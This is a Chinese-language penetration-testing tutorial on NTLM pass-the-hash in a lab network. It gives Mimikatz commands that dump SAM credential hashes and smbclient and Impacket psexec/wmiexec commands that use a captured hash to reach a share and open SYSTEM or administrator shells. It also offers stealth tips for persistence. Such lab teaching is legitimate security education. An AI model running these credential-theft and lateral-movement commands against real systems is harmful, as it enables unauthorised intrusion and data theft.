**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。
🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬
🌌 立即前往 👉晖度丨安全视界🚀
▶ 信息收集
▶ 漏洞检测
▶ 初始立足点▶ 权限提升
▶ 横向移动 ➢ 密码攻击 ➢ NTLM哈希传递攻击🔥🔥🔥
▶ 报告/分析
▶ 教训/修复
目录
[1.1 破解Windows哈希实践](#1.1 破解Windows哈希实践)
[1.1.1 NTLM哈希传递攻击概述](#1.1.1 NTLM哈希传递攻击概述)
[1.1.1.1 什么是NTLM哈希传递?](#1.1.1.1 什么是NTLM哈希传递?)
[1.1.1.2 攻击应用场景](#1.1.1.2 攻击应用场景)
[1.1.1.3 重要限制条件](#1.1.1.3 重要限制条件)
[1.1.2 NTLM哈希传递攻击实践](#1.1.2 NTLM哈希传递攻击实践)
[1.1.2.1 攻击目标与前提](#1.1.2.1 攻击目标与前提)
[1.1.2.2 攻击链条总览](#1.1.2.2 攻击链条总览)
[1.1.2.3 初始横向移动尝试(失败)](#1.1.2.3 初始横向移动尝试(失败))
[1.1.2.4 权限提升与哈希提取](#1.1.2.4 权限提升与哈希提取)
[1.1.2.5 支持NTLM哈希传递攻击的工具指南](#1.1.2.5 支持NTLM哈希传递攻击的工具指南)
[1.1.2.6 利用SMBclient通过NTLM哈希访问共享](#1.1.2.6 利用SMBclient通过NTLM哈希访问共享)
[1.1.2.7 利用Impacket工具通过NTLM哈希获取交互式Shell](#1.1.2.7 利用Impacket工具通过NTLM哈希获取交互式Shell)
[3.psexec.py - 系统级权限获取](#3.psexec.py - 系统级权限获取)
[4.wmiexec.py - 用户级权限获取](#4.wmiexec.py - 用户级权限获取)
[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)
1.密码破解
1.1 破解Windows哈希实践
核心攻击场景: 本文介绍第一种:获取并破解NTLM哈希。
| 攻击类型 | 目标哈希 | 手法简介 |
|---|---|---|
| 获取并破解NTLM哈希 | 🗝️ NTLM哈希 | 从内存或SAM数据库中提取哈希,并用工具(如Hashcat)破解 |
| 传递NTLM哈希 | 🗝️ NTLM哈希 | 直接使用哈希进行身份验证,绕过密码需求 |
| 获取并破解Net-NTLMv2哈希 | 🔐 Net-NTLMv2哈希 | 通过中间人或欺骗获取挑战-响应包,离线破解 |
| 传递Net-NTLMv2哈希 | 🔐 Net-NTLMv2哈希 | 在支持的环境下复用Net-NTLMv2响应进行身份验证 |
1.1.1 NTLM哈希传递攻击概述
在前一篇文章,使用Mimikatz工具在特权下,成功提取本地用户的NTLM哈希。接着,使用Hashcat工具,采用rockyou字典和best64规则对哈希进行离线破解,最终获得明文密码。但是 ,有人会问:
当哈希无法被破解时(如:密码强度极高),怎么办?仍有其他利用方式,如:哈希传递攻击(Pass-the-Hash) :直接使用NTLM哈希本身进行横向移动。就在本文。
1.1.1.1 什么是NTLM哈希传递?
场景:
当多台主机使用相同的用户名和密码 时,攻击者获取其中一台主机的NTLM哈希后,即可无需破解,直接用该哈希登录其他主机。
📊 技术原理对比:
| 攻击方式 | 所需凭证 | 攻击过程 | 时间消耗 |
|---|---|---|---|
| 传统密码破解 | NTLM哈希 | 哈希 → 破解 → 明文密码 → 登录 | 长(依赖密码强度) |
| 传递哈希(PtH) | NTLM哈希 | 哈希直接用于身份验证 | 短(即时) |
-
无需盐值:NTLM/LM哈希未加盐,在不同会话中保持不变
-
直接验证 :使用有效的"用户名+NTLM哈希"组合即可通过身份验证
-
绕过破解:完全跳过耗时的密码破解阶段
1.1.1.2 攻击应用场景
场景一:对同一目标进行身份验证
- 获取目标主机的NTLM哈希后,可直接用该哈希重新通过该主机的身份验证
场景二:横向移动至其他目标
前提条件必须同时满足:
-
✅ 第二台主机存在相同用户名和密码的账户
-
✅ 该账户在第二台主机上具有管理员权限
1.1.1.3 重要限制条件
UAC远程限制的影响
-
时间点 :自Windows Vista起,所有Windows版本默认启用
-
防护机制:阻止远程系统上的管理员权限执行(除特定情况外)
-
关键例外 :本地管理员账户不受此限制影响
📌 攻击成功的关键条件:
-
如果使用非本地管理员账户 进行PtH,目标系统需要特殊配置才可能实现代码执行
-
本地管理员账户的PtH攻击不受UAC远程限制影响
🔐 防御提示:定期更换各主机密码、避免密码重复使用、限制管理员账户的远程登录权限,可有效防御此类攻击。
1.1.2 NTLM哈希传递攻击实践
1.1.2.1 攻击目标与前提
核心目标:获取FILES01主机的Administrator账户(管理员账户)NTLM哈希,并用其横向移动到FILES02主机,最终获得交互式Shell。
攻击前提:
-
✅ 假设已访问FILES01主机(通过用户gunther及密码password123!)
-
✅ FILES01与FILES02的本地Administrator账户密码相同
-
🔒 FILES02上存在受限制的SMB共享(
\\192.168.50.212\secrets) -
✅ 提取FILES01的Administrator哈希 → 传递哈希攻击FILES02
1.1.2.2 攻击链条总览

1.1.2.3 初始横向移动尝试(失败)
| 步骤 | 操作 | 结果 | 分析 |
|---|---|---|---|
| 环境准备 | 通过RDP使用gunther/password123!登录FILES01 |
成功获得FILES01访问权限 | 获得初始立足点 |
| 共享访问尝试 | 在资源管理器输入\\192.168.50.212\secrets |
弹出凭据输入窗口 | FILES02共享需要身份验证 |
| 凭证测试 | 输入gunther相同凭据 | 访问被拒绝 | FILES02上无此用户或用户无权限(密码不对) |
💡 关键发现:直接使用已泄露的普通用户凭证无法实现横向移动,需要更高级别的凭证。

1.1.2.4 权限提升与哈希提取
使用Mimikatz获取FILES01的Administrator的NTLM哈希。
工具准备 :Mimikatz(位于C:\tools\mimikatz.exe),以管理员身份打开一个PowerShell窗口并启动Mimikatz。
| 操作步骤 | 命令 | 作用与说明 |
|---|---|---|
| 提权准备 | privilege::debug |
启用调试权限(获取系统级访问) |
| 权限提升 | token::elevate |
提升至SYSTEM权限令牌 |
| 哈希提取 | lsadump::sam |
提取本地SAM数据库中的NTLM哈希 |
提取成果 :获得FILES01主机Administrator账户的NTLM哈希值

🔑 为什么选择Administrator哈希?
-
权限最大化:Administrator账户在两台主机上拥有最高权限
-
绕过UAC限制:本地Administrator账户不受UAC远程限制影响
-
密码一致性假设:根据前提,两台主机此账户密码相同
1.1.2.5 支持NTLM哈希传递攻击的工具指南
📊 主要工具分类与用途:
| 类别 | 工具/方法 | 主要功能 |
|---|---|---|
| SMB枚举与管理 | smbclient、CrackMapExec |
扫描SMB共享、枚举用户、传递哈希访问 |
| 命令执行 | Impacket脚本集 (psexec.py、wmiexec.py) | 远程命令执行、获取交互式Shell |
| 远程协议连接 | SMB 、RDP 、WinRM | 直接使用哈希建立远程会话(前提:具有所需权限) |
| 综合渗透工具 | Mimikatz | 哈希提取、传递哈希、多种凭证操作 |
🛠️ 核心工具详解:
1.SMB枚举与管理工具
-
smbclient:Linux环境下经典的SMB客户端,支持使用NTLM哈希进行身份验证 -
CrackMapExec:功能强大的渗透测试框架,专为内网横向移动设计
💡 使用场景:快速扫描内网SMB共享,识别可访问的资源,验证哈希有效性。
2.远程命令执行工具
-
psexec.py(Impacket):模拟PsExec功能,通过SMB创建服务执行命令 -
wmiexec.py(Impacket):通过WMI协议执行命令,隐蔽性较好
bash
# 示例:使用Impacket进行PtH攻击
psexec.py -hashes LMHASH:NTHASH administrator@目标IP
wmiexec.py -hashes LMHASH:NTHASH administrator@目标IP
3.直接协议连接
-
SMB协议:多种工具支持直接使用哈希挂载共享
-
RDP连接 :使用
xfreerdp等工具配合哈希进行远程桌面连接 -
WinRM访问 :通过PowerShell Remoting或工具如
evil-winrm使用哈希认证
4.综合渗透神器
-
Mimikatz:不仅可提取哈希,还能直接用于传递哈希攻击
bash# Mimikatz PtH命令 sekurlsa::pth /user:Administrator /domain:目标主机 /ntlm:哈希值
5.工具选择策略
| 考虑因素 | 说明 | 建议 |
|---|---|---|
| 环境兼容性 | 不同工具在不同系统上的可用性 | Linux环境首选Impacket,Windows环境可用Mimikatz |
| 隐蔽性 | 攻击产生的日志和痕迹 | WMI执行比PsExec更隐蔽 |
| 成功率 | 目标系统的防护措施影响 | 管理员账户成功率最高,注意UAC限制 |
| 功能需求 | 需要枚举、执行命令还是完整Shell | 根据具体目标选择工具 |
1.1.2.6 利用SMBclient通过NTLM哈希访问共享
1.攻击目标与实践
利用从FILES01提取的Administrator账户NTLM哈希 ,直接访问FILES02上受限制的SMB共享(\\192.168.50.212\secrets),验证传递哈希攻击的可行性。
**再次注意前提:**假设FILES01和FILES02上的本地Administrator账户具有相同的密码。这在现实评估中非常常见。
🔧 核心攻击命令解析
bash
smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
| 命令部分 | 作用说明 | 关键细节 |
|---|---|---|
smbclient |
SMB协议命令行客户端工具 | Linux环境下标准工具 |
\\\\192.168.50.212\\secrets |
目标共享路径 | 双反斜杠需转义,对应FILES02的secrets共享 |
-U Administrator |
指定用户名 | 使用管理员账户 |
--pw-nt-hash |
指定使用NTLM哈希认证 | 而非明文密码 |
7a38310ea6f0027ee955abed1762964b |
NTLM哈希值 | 从FILES01的Administrator提取 |
✅ 连接成功标志
-
进入SMB交互式命令行
-
出现
smb: \>提示符

2.信息收集操作
| 命令 | 功能 | 攻击意义 |
|---|---|---|
dir 或 ls |
列出共享目录内容 | 侦察敏感文件、数据结构 |
get 文件名 |
下载文件到本地 | 窃取数据、分析凭证 |
put 文件名 |
上传文件到共享 | 投递后门、部署工具 |
3.关键注意事项
-
路径转义要求 :Windows路径
\\IP\共享需写为\\\\IP\\共享 -
哈希格式:直接提供NTLM哈希值,无需LM哈希部分(现代系统通常为空)
-
权限匹配:使用的账户在目标系统上需有相应共享访问权限
下一步演进:成功访问共享后,攻击者可进一步下载敏感文件、上传恶意程序,或利用其他工具获取目标主机的完全控制权。
1.1.2.7 利用Impacket工具通过NTLM哈希获取交互式Shell
1.攻击目标进阶
在成功访问SMB共享 后,攻击者进一步追求完全控制权------获取目标主机的交互式Shell。使用Impacket库的脚本可以高效实现这一目标。
🛠️ 工具对比概览
使用impacket库中的psexec.py脚本和wmiexec.py脚本。
| 工具 | 原理机制 | 执行身份 | 隐蔽性 | 默认命令 |
|---|---|---|---|---|
| psexec.py | 上传可执行文件→注册服务→启动 | SYSTEM权限 | 较低(创建服务) | cmd.exe |
| wmiexec.py | 通过WMI协议执行命令 | 认证用户权限 | 较高(利用WMI) | cmd.exe |
2.攻击流程总览

3.psexec.py - 系统级权限获取
bash
impacket-psexec -hashes 00000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
| 参数 | 说明 | 关键点 |
|---|---|---|
-hashes |
指定哈希认证方式 | 格式:LM哈希:NTLM哈希 |
0000000000000000... |
LM哈希占位符 | 现代Windows通常为空 |
7a38310ea6f0027ee9... |
实际NTLM哈希值 | 从FILES01提取 |
Administrator@192.168.50.212 |
目标用户和主机 | FILES02的Administrator账户 |
-
获取SYSTEM权限的Shell(最高权限)
-
通过创建Windows服务实现,痕迹较明显
-
适用于需要完全控制权的场景

4.wmiexec.py - 用户级权限获取
bash
impacket-wmiexec -hashes 00000000000000000000000:7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
-
获取认证用户权限的Shell(此处为Administrator)
-
通过WMI协议执行,更隐蔽
-
适用于维持持久访问、避免触发警报

🎭 权限差异对比
psexec.py的执行结果
bash
C:\Windows\system32> whoami
nt authority\system # 最高系统权限
wmiexec.py的执行结果
bash
C:\Users\Administrator> whoami
domain\administrator # 管理员用户权限
5.扩展应用:自定义命令执行
两个工具都支持在命令末尾添加参数,执行特定命令而非默认Shell:
bash
# 执行单条命令
impacket-psexec -hashes ... Administrator@192.168.50.212 "whoami /all"
impacket-wmiexec -hashes ... Administrator@192.168.50.212 "ipconfig /all"
工具链组合使用
-
信息收集:先用wmiexec隐蔽执行侦察命令
-
权限提升:后用psexec获取SYSTEM权限进行深度操作
-
横向扩展:以当前主机为跳板,继续攻击网络内其他主机
6.核心要点总结
| 维度 | 关键收获 |
|---|---|
| 攻击效率 | 无需密码破解,直接使用哈希获取Shell |
| 工具选择 | 根据需求选择权限级别(SYSTEM vs 用户) |
| 隐蔽性 | wmiexec比psexec更隐蔽,适合持久化 |
| 现实意义 | 展示了哈希传递攻击的完整杀伤链:访问共享→获取Shell |
| 防御关键 | 监控异常服务创建和WMI远程执行,阻断横向移动 |
攻击演进:从简单的共享访问到完全交互式控制,展示了内网渗透的标准升级路径。攻击者可根据目标环境和防御强度灵活选择工具,实现从立足点到完全控制的平滑过渡。
欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论
每一份支持,都是我持续输出的光。
